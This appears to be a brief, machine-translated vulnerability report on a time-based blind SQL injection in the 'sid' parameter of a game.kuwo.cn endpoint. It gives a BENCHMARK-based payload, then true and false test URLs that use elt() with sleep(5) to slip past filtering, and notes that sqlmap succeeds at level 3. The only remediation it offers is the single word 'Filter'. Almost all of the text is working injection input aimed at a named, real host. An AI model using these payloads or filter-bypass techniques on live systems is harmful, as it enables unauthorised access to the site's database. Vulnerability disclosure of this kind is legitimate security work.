Cool music MySQL blind injection (bypass filtering)

Cool music MySQL blind injection (bypass filtering)

Where

Parameter: sid (GET) Type: AND/OR time-based blind Title: MySQL <5.0.12 AND time-based blind (heavy query) Payload: gid = 108 & sid = 326 AND 1310 = BENCHMARK (5000000, MD5 (0x76515370 ))

It seems that the BENCHMARK function is no longer usable, but the test finds that

True

Http://game.kuwo.cn/g/st/CheckEnterGameTime? Gid = 108 & sid = 326 and elt (1 = 1, sleep (5 ))

False

Http://game.kuwo.cn/g/st/CheckEnterGameTime? Gid = 108 & sid = 326 and elt (1 = 2, sleep (5 ))

Sqlmap can run when the level is increased to 3

Above

Solution:

Filter